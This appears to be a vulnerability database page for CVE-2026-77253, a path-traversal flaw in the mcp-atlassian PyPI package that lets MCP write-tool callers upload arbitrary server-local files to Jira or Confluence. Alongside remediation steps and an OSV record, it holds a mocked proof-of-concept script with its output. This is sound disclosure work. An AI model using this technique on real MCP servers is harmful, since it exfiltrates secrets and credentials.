CVE-2026-77253: MCP Atlassian Jira And Confluence Attachment Upload Vulnerability

HIGH
Advisory Identifier: GHSA-vc25-24vv-fxxm
CVSS 7.1
CWE-22
Published
Advisory Summary

CVE-2026-77253 is a HIGH (CVSS 7.1) jira and confluence attachment upload vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting MCP Atlassian libraries in the PyPI ecosystem. The issue involves jira and confluence attachment upload tools can read arbitrary server-local files. Remediation is available by upgrading affected packages to version 0.22.0.

CVE-2026-77253 at a Glance

CVE Identifier CVE-2026-77253
GHSA Identifier GHSA-vc25-24vv-fxxm
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product MCP Atlassian
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-77253

To remediate this vulnerability, upgrade all affected MCP Atlassian dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp-atlassian fixed: 0.22.0
pip install mcp-atlassian>=0.22.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mcp-atlassian

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-77253, inspect your installed packages using pip:

pip show mcp-atlassian

Analyze the terminal output to locate any version of MCP Atlassian in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.22.0), your application is affected.

Note: The pip show mcp-atlassian command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In MCP Atlassian, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment. ### Details The Confluence MCP upload tool accepts a `file_path` described as an absolute or relative server path in `src/mcp_atlassian/servers/confluence.py:1290-1316` and forwards it directly to `confluence_fetcher.upload_attachment()` in `src/mcp_atlassian/servers/confluence.py:1356-1363`. The multi-upload variant accepts comma-separated local paths in `src/mcp_atlassian/servers/confluence.py:1372-1449`. The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to `validate_safe_path()` or any allowed directory check for uploads in `src/mcp_atlassian/confluence/attachments.py:61-79`; the direct upload path opens the file with `open(file_path, "rb")` in `src/mcp_atlassian/confluence/attachments.py:467-490`. The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in `src/mcp_atlassian/jira/attachments.py:371-388`. Jira issue update also accepts an `attachments` field as JSON or CSV local paths in `src/mcp_atlassian/servers/jira.py:1609-1662`, forwards it through update fields in `src/mcp_atlassian/servers/jira.py:1668-1676`, and `IssuesMixin.update_issue()` calls `self.upload_attachments(issue_key, kwargs["attachments"])` in `src/mcp_atlassian/jira/issues.py:1132-1137`. The tools are decorated with `@check_write_access`, so `READ_ONLY_MODE=true` blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance. ### PoC The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data. ```bash uv run python - <<'PY' import json, tempfile from pathlib import Path from types import SimpleNamespace from mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin from mcp_atlassian.confluence.config import ConfluenceConfig from mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin from mcp_atlassian.jira.config import JiraConfig class FakeResponse: def raise_for_status(self): pass def json(self): return {'results': [{'id': 'att-poc'}]} class FakeConfluenceSession: def __init__(self): self.uploaded = None def put(self, url, headers=None, files=None, data=None): file_tuple = files['file'] self.uploaded = { 'url': url, 'filename': file_tuple[0], 'content': file_tuple[1].read().decode(), } file_tuple[1].close() return FakeResponse() def confluence_probe(secret_path): fetcher = object.__new__(ConfluenceAttachmentsMixin) session = FakeConfluenceSession() fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token') fetcher.confluence = SimpleNamespace(_session=session) result = fetcher.upload_attachment('123456', str(secret_path)) return {'result_success': result.get('success'), 'uploaded': session.uploaded} class FakeJiraApi: def __init__(self): self.uploaded = None def add_attachment(self, issue_key, filename): self.uploaded = { 'issue_key': issue_key, 'filename': Path(filename).name, 'content': Path(filename).read_text(), } return {'id': 'att-poc'} def jira_probe(secret_path): fetcher = object.__new__(JiraAttachmentsMixin) fake = FakeJiraApi() fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token') fetcher.jira = fake result = fetcher.upload_attachment('SAFE-1', str(secret_path)) return {'result_success': result.get('success'), 'uploaded': fake.uploaded} with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp: secret_path = Path(tmp) / 'server-secret.txt' secret_path.write_text('SERVER_LOCAL_SECRET_MARKER') print(json.dumps({ 'confluence': confluence_probe(secret_path), 'jira': jira_probe(secret_path), }, indent=2, sort_keys=True)) PY ``` Observed output from this environment: ```json { "confluence": { "result_success": true, "uploaded": { "content": "SERVER_LOCAL_SECRET_MARKER", "filename": "server-secret.txt", "url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment" } }, "jira": { "result_success": true, "uploaded": { "content": "SERVER_LOCAL_SECRET_MARKER", "filename": "server-secret.txt", "issue_key": "SAFE-1" } } } ``` The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink. ### Impact A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.

CVE-2026-77253 Affected MCP Atlassian Versions

1 component(s)
Fixed Versions:
0.22.0
Product / Package Ecosystem Affected Versions Fixed Version
mcp-atlassian
PyPI
< 0.22.0
0.22.0

References

Frequently Asked Questions

What is CVE-2026-77253?
CVE-2026-77253 is a security vulnerability in MCP Atlassian involving Jira and Confluence attachment upload tools can read arbitrary server-local files under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which MCP Atlassian versions are affected?
Affected versions include releases prior to 0.22.0 across affected packages: mcp-atlassian.
What version fixes CVE-2026-77253?
Upgrading to 0.22.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp-atlassian affected?
Yes, mcp-atlassian is affected in releases prior to 0.22.0. Upgrade your dependency to 0.22.0 or later.
What is the CVSS score of CVE-2026-77253?
CVE-2026-77253 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-77253?
CVE-2026-77253 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-77253?
Run the dependency tree command: 'pip show mcp-atlassian'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vc25-24vv-fxxm",
  "modified" : "2026-09-22T20:34:50Z",
  "published" : "2026-09-22T20:34:50Z",
  "aliases" : [ "CVE-2026-77253" ],
  "summary" : "MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files",
  "details" : "### Summary\n\nMCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.\n\n### Details\n\nThe Confluence MCP upload tool accepts a `file_path` described as an absolute or relative server path in `src/mcp_atlassian/servers/confluence.py:1290-1316` and forwards it directly to `confluence_fetcher.upload_attachment()` in `src/mcp_atlassian/servers/confluence.py:1356-1363`. The multi-upload variant accepts comma-separated local paths in `src/mcp_atlassian/servers/confluence.py:1372-1449`.\n\nThe Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to `validate_safe_path()` or any allowed directory check for uploads in `src/mcp_atlassian/confluence/attachments.py:61-79`; the direct upload path opens the file with `open(file_path, \"rb\")` in `src/mcp_atlassian/confluence/attachments.py:467-490`.\n\nThe Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in `src/mcp_atlassian/jira/attachments.py:371-388`. Jira issue update also accepts an `attachments` field as JSON or CSV local paths in `src/mcp_atlassian/servers/jira.py:1609-1662`, forwards it through update fields in `src/mcp_atlassian/servers/jira.py:1668-1676`, and `IssuesMixin.update_issue()` calls `self.upload_attachments(issue_key, kwargs[\"attachments\"])` in `src/mcp_atlassian/jira/issues.py:1132-1137`.\n\nThe tools are decorated with `@check_write_access`, so `READ_ONLY_MODE=true` blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.\n\n### PoC\n\nThe following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.\n\n```bash\nuv run python - <<'PY'\nimport json, tempfile\nfrom pathlib import Path\nfrom types import SimpleNamespace\nfrom mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin\nfrom mcp_atlassian.confluence.config import ConfluenceConfig\nfrom mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin\nfrom mcp_atlassian.jira.config import JiraConfig\n\nclass FakeResponse:\n    def raise_for_status(self):\n        pass\n    def json(self):\n        return {'results': [{'id': 'att-poc'}]}\n\nclass FakeConfluenceSession:\n    def __init__(self):\n        self.uploaded = None\n    def put(self, url, headers=None, files=None, data=None):\n        file_tuple = files['file']\n        self.uploaded = {\n            'url': url,\n            'filename': file_tuple[0],\n            'content': file_tuple[1].read().decode(),\n        }\n        file_tuple[1].close()\n        return FakeResponse()\n\ndef confluence_probe(secret_path):\n    fetcher = object.__new__(ConfluenceAttachmentsMixin)\n    session = FakeConfluenceSession()\n    fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token')\n    fetcher.confluence = SimpleNamespace(_session=session)\n    result = fetcher.upload_attachment('123456', str(secret_path))\n    return {'result_success': result.get('success'), 'uploaded': session.uploaded}\n\nclass FakeJiraApi:\n    def __init__(self):\n        self.uploaded = None\n    def add_attachment(self, issue_key, filename):\n        self.uploaded = {\n            'issue_key': issue_key,\n            'filename': Path(filename).name,\n            'content': Path(filename).read_text(),\n        }\n        return {'id': 'att-poc'}\n\ndef jira_probe(secret_path):\n    fetcher = object.__new__(JiraAttachmentsMixin)\n    fake = FakeJiraApi()\n    fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token')\n    fetcher.jira = fake\n    result = fetcher.upload_attachment('SAFE-1', str(secret_path))\n    return {'result_success': result.get('success'), 'uploaded': fake.uploaded}\n\nwith tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp:\n    secret_path = Path(tmp) / 'server-secret.txt'\n    secret_path.write_text('SERVER_LOCAL_SECRET_MARKER')\n    print(json.dumps({\n        'confluence': confluence_probe(secret_path),\n        'jira': jira_probe(secret_path),\n    }, indent=2, sort_keys=True))\nPY\n```\n\nObserved output from this environment:\n\n```json\n{\n  \"confluence\": {\n    \"result_success\": true,\n    \"uploaded\": {\n      \"content\": \"SERVER_LOCAL_SECRET_MARKER\",\n      \"filename\": \"server-secret.txt\",\n      \"url\": \"https://confluence.example.test/wiki/rest/api/content/123456/child/attachment\"\n    }\n  },\n  \"jira\": {\n    \"result_success\": true,\n    \"uploaded\": {\n      \"content\": \"SERVER_LOCAL_SECRET_MARKER\",\n      \"filename\": \"server-secret.txt\",\n      \"issue_key\": \"SAFE-1\"\n    }\n  }\n}\n```\n\nThe proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.\n\n### Impact\n\nA caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mcp-atlassian"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.22.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/pull/1448"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sooperset/mcp-atlassian"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:34:50Z",
    "nvd_published_at" : null
  }
}